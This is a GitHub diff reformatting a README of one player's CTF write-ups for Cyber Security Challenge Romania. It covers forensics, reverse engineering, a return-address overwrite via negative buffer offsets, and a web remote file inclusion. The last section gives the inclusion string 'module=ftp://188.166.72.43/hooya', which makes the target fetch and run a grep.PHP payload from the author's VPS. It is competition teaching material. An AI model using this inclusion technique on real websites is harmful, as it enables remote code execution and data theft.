You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: README.md
+69-53
Original file line number
Diff line number
Diff line change
@@ -1,12 +1,28 @@
1
-
**Cyber Security Challenge Romania**
2
-
3
-
**Task Write-ups**
4
-
5
-
*by RED*
6
-
7
-
***Forensics***
8
-
9
-
**Johnny’s Coloring Book – 50 pts**
1
+
# Cyber Security Challenge Romania
2
+
---------
3
+
## Task Write-ups
4
+
5
+
### _by RED_
6
+
7
+
### What is this?
8
+
These are my solutions to the tasks that I managed to solve during the [Cyber Security Challenge Romania](http://www.cybersecuritychallenge.ro/). Note that these are not all the tasks.
9
+
10
+
### Contents
11
+
1.[Forensics](#forensics)
12
+
*[Johnny's Coloring Book](#johnnys-coloring-book)
13
+
*[Johnny's Router](#johnnys-router)
14
+
*[Johnny's Hotseat](#johnnys-hotseat)
15
+
2.[Reverse Engineering](#reverse-engineering)
16
+
*[Re100](#re100)
17
+
*[Re200](#re200)
18
+
*[Re500](#re500)
19
+
3.[Exploitation](#exploitation)
20
+
*[Lucky 4](#lucky_4)
21
+
4.[Web](#web)
22
+
*[Web1](#web1)
23
+
24
+
## Forensics
25
+
#### Johnny's Coloring Book
10
26
11
27
This task provided us with a .zip file. When trying to unzip I quickly
12
28
found out it is protected by a password.
@@ -17,7 +33,7 @@ I managed to find the password using a dictionary attack.
17
33
18
34

19
35
20
-
Let’s see what kind of file “book†is:
36
+
Let's see what kind of file `book` is:
21
37
22
38

23
39
@@ -28,43 +44,44 @@ see the whole lines. Tried different font sizes. At font size 2 bingo!
28
44
29
45

30
46
31
-
**Johnny’s router – 100pts**
47
+
#### Johnny's router
32
48
33
49
In this task we are given a .bin file
34
50
35
51

36
52
37
53
Firstly I tried to extract its contents with binwalk.
54
+
`binwalk -e -M johnnys_router.bin`
38
55
39
56

40
57
41
58
Here is an interesting part. The first time I tried to do this I did not
42
-
get the squashfs-root directory. I wanted to mount the “120000.squashfsâ€
59
+
get the squashfs-root directory. I wanted to mount the `120000.squashfs`
43
60
filesystem so I checked online and I found out I needed the
44
-
squashfs-tools util. I did not manage to mount the file so I scrapped
61
+
`squashfs-tools` util. I did not manage to mount the file so I scrapped
45
62
everything and started again. Now that I had the squashfs-tools the
46
63
squashfs-root directory appeared.
47
64
48
65

49
66
50
67
The directory seemed to be a root directory of
51
-
some filesystem (presumably the router’s fs). In the task description it
68
+
some filesystem (presumably the router's fs). In the task description it
52
69
was stated that Johnny tried to make some improvements to his router so
53
70
I looked for the last modified files.
54
71
55
72
The first file in the list is a picture which I opened and found nothing
56
73
interesting. The second file is a script that prints the flag. I just
57
74
ran the script and obtained the flag.
58
75
59
-
**Johnny’s Hotseat – 150 pts**
76
+
#### Johnny's Hotseat
60
77
61
78
In this task we were given a .pcap file. First though in my head was
62
79
wireshark.
63
80
64
81

65
82
66
83
It seemed to be a USB traffic capture. After looking a little bit into
67
-
it I found out that every device introduces itself to the host
84
+
it I found out that every device introduces itself to the host.
68
85
69
86

70
87
@@ -74,42 +91,41 @@ more clearly.
74
91
75
92

76
93
77
-
After some research on the internet I found out that the keys pressed
94
+
After some research I found out that the keys pressed
78
95
should be in the Leftover Capture Data section of the packets
79
96
80
97

81
98
82
99
Now I needed the codes that represent each key on the keyboard. I found
83
-
them after a few google searches here
84
-
<http://www.win.tue.nl/~aeb/linux/kbd/scancodes-14.html>. In the first
100
+
them after a few google searches [here](http://www.win.tue.nl/~aeb/linux/kbd/scancodes-14.html). In the first
85
101
packet I could see a 0x09 in the Leftover Capture Data which
86
-
corresponded to ‘f’. Interestingly for every packet with data in it
102
+
corresponded to `f`. Interestingly for every packet with data in it
87
103
there was also a packet without any data. I presumed that a packet is
88
104
sent when the key is released also.
89
105
90
-
After the first 8 packets the word “flag†was formed and I expected to
91
-
see the ‘{‘ character next. This is what the next 3 packets contained.
106
+
After the first 8 packets the word `"flag"` was formed and I expected to
107
+
see the `{` character next. This is what the next 3 packets contained.
92
108
93
109

94
110
95
111

96
112
97
113

98
114
99
-
The 0x2f code meant the ‘[‘ or with Shift pressed the ‘{‘ that I was
115
+
The 0x2f code meant the `[` or with Shift pressed the `{` that I was
100
116
expecting. So I presumed that the 0x20 in the beginning of the Leftover
101
-
Data must be the Shift key, even if the 0x20 was the code for ‘3’.
117
+
Data must be the Shift key, even if the 0x20 was the code for `3`
102
118
103
119
Using this technique I managed to retrieve the flag. At some point the
104
120
user pressed 2 keys and at some point he pressed the Backspace key
105
121
deleting the previous character as far as I can remember. The flag was:
106
122
flag{Usb\_is\_easy\_peasy} with some numbers instead of letters (I was
107
-
really bored and did not want to solve the task again :D pls don’t judge
123
+
really bored and did not want to solve the task again :D pls don't judge
108
124
me)
109
125
110
-
***Reverse Engineering***
126
+
## Reverse Engineering
111
127
112
-
**Re100**
128
+
#### Re100
113
129
114
130
We were given a binary file that was asking for some kind of password.
115
131
@@ -132,28 +148,28 @@ Ok, now that we have found the password we can feed it to the binary.
132
148
133
149

134
150
135
-
**Re200**
151
+
#### Re200
136
152
137
153
This task was a bit harder. While examining the file with IDA I found
138
154
that it had no print instructions yet upon execution it printed some
139
155
stuff. The instructions were fairly complicated with many jumps and I
140
156
found them hard to follow. So I started looking for that print/write
141
157
instruction or sys call. I found out that the file was mostly made out
142
158
of byte declarations. At some point I tried to follow it line by line
143
-
and I found it jumped to an address that IDA wasn’t showing me as code.
159
+
and I found it jumped to an address that IDA wasn't showing me as code.
144
160
I figured in those declarations there must be instructions but more
145
161
importantly strings (and among them the flag).
146
162
147
163

148
164
149
-
So I run strings on the file. I found a lot of interesting stuff but at
165
+
So I run `strings` on the file. I found a lot of interesting stuff but at
150
166
some point I hit the jackpot.
151
167
152
168

153
169
154
170
That had to be the flag but it was not complete. I tried guessing it but
155
-
it did not work so well. So I took another approach. First I run “xxd
156
-
easy | grep pr3†to find the address at which the flag resides in the
171
+
it did not work so well. So I took another approach. First I run `xxd
172
+
easy | grep pr3` to find the address at which the flag resides in the
157
173
memory.
158
174
159
175

@@ -165,15 +181,15 @@ memory is read.
165
181
166
182
And then run. The second time I did this I encountered a problem. For
167
183
some reason the string was not at that address but instead at 0x0036bb0
168
-
(found out using gdb find). Anyways I used the same principles both
184
+
(found out using gdb `find`). Anyways I used the same principles both
169
185
times. After setting the correct watchpoint and running, the program
170
186
broke when that memory was read. I started running instruction by
171
187
instruction to see what is happening. Eventually the flag was put in
172
188
plain text after a few instructions.
173
189
174
190

175
191
176
-
**Re500**
192
+
#### Re500
177
193
178
194
First of all this task provided a Windows executable file (.exe) so for
179
195
that I switched to my Windows machine. Similar to Re200 this one asked
@@ -186,16 +202,16 @@ After some research I found where the checking occurs.
186
202

187
203
188
204
Basically what happens here is that a memory zone is checked and if all
189
-
the 0x20 (32) bytes are 00 then it will display a message saying that
205
+
the 0x20 (32) bytes are 0x0 then it will display a message saying that
190
206
the flag is correct. So I ran the program with the argument
191
-
flag{A\*26times} because I knew the key had to be 32 bytes long and I
207
+
flag{A\*26 times} because I knew the key had to be 32 bytes long and I
192
208
checked that memory address to see what I can find there.
193
209
194
210

195
211
196
212
So my argument was put there. I did a lot of research at this point,
197
213
trying to figure out what is happening to that memory chunk. I realized
198
-
that the memory chunk was “transformed†using a series of subroutines
214
+
that the memory chunk was 'transformed' using a series of subroutines
199
215
which I tried to understand. It took me a lot of time and it proved
200
216
worthless because later I found something more interesting. My key was
201
217
transformed like this :
@@ -218,9 +234,9 @@ Here is how the paper looked like(I also noted S but it is useless):
218
234
219
235

220
236
221
-
***Exploitation***
237
+
## Exploitation
222
238
223
-
**Lucky\_4**
239
+
#### Lucky\_4
224
240
225
241
This task provided us with a binary and the source code for it. I
226
242
checked the source code first. After some research I found out this.
@@ -234,15 +250,15 @@ it still accepts negative offsets
234
250
235
251

236
252
237
-
Indeed it accepts negative offset. Let’s see
253
+
Indeed it accepts negative offset. Let's see
238
254
what can we overwrite.
239
255
240
256
This is the start of the play function. As we can see on the top of the
241
257
stack is the return address which we can overwrite by giving negative
242
258
offset to the buffer. Below the return address we can find the starting
243
-
address of the buffer. 37b – 35c = 1f (29) this should be the negative
259
+
address of the buffer. 37b - 35c = 1f (29) this should be the negative
244
260
offset we want to give to overwrite the first byte of the return
245
-
address. Let’s test it.
261
+
address. Let's test it.
246
262
247
263

248
264
@@ -260,43 +276,43 @@ Turns out I only have to modify the last 2 bytes.
260
276
261
277

262
278
263
-
Bingo! Now let’s do it on the server to retrieve the flag.
279
+
Bingo! Now let's do it on the server to retrieve the flag.
264
280
265
281

266
282
267
-
***Web***
283
+
## Web
268
284
269
-
**Web1**
285
+
#### Web1
270
286
271
287
For this task we were given a link to a website.
272
288
273
289

274
290
275
-
That was pretty much it. Let’s check the source code.
291
+
That was pretty much it. Let's check the source code.
276
292
277
293

278
294
279
-
So apparently it queries the url for ‘module’ and adds some uniqids at
280
-
the end. If the file exists at the end, it will include it. My first
281
-
thought was to pass it a .php executing grep for the flag using a ftp
282
-
server. But the uniqids would ensure that my file never actually
295
+
So apparently it queries the url for `module` and adds some `uniqid`s.
296
+
If the file exists in the end, it will include it. My first
297
+
thought was to pass it a .php executing `grep` for the flag using a ftp
298
+
server. But the `uniqid`s would ensure that my file never actually
283
299
existed. What if I could make a ftp server that would reply to every
284
300
request with the same file though? I made some research to see if that
285
301
could work and I found a ftp server written in python that did exactly
286
302
this.
287
303
288
304

289
305
290
-
I changed the ip to my vps ip and the evil\_file to a grep.PHP. Next I
306
+
I changed the `ip` to my vps ip and the `evil_file` to a grep.PHP. Next I
291
307
proceeded to write the grep.PHP
292
308
293
309

294
310
295
-
Simple just executing a recursive grep after ‘flag{‘ which I knew was
311
+
Simple just executing a recursive grep after `"flag{"` which I knew was
296
312
the start of the flag.
297
313
298
314
I started the server on my VPS and then passed
299
-
module=ftp://188.166.72.43/hooya or anything for that matter.
315
+
`module=ftp://188.166.72.43/hooya` or anything for that matter in the url.
0 commit comments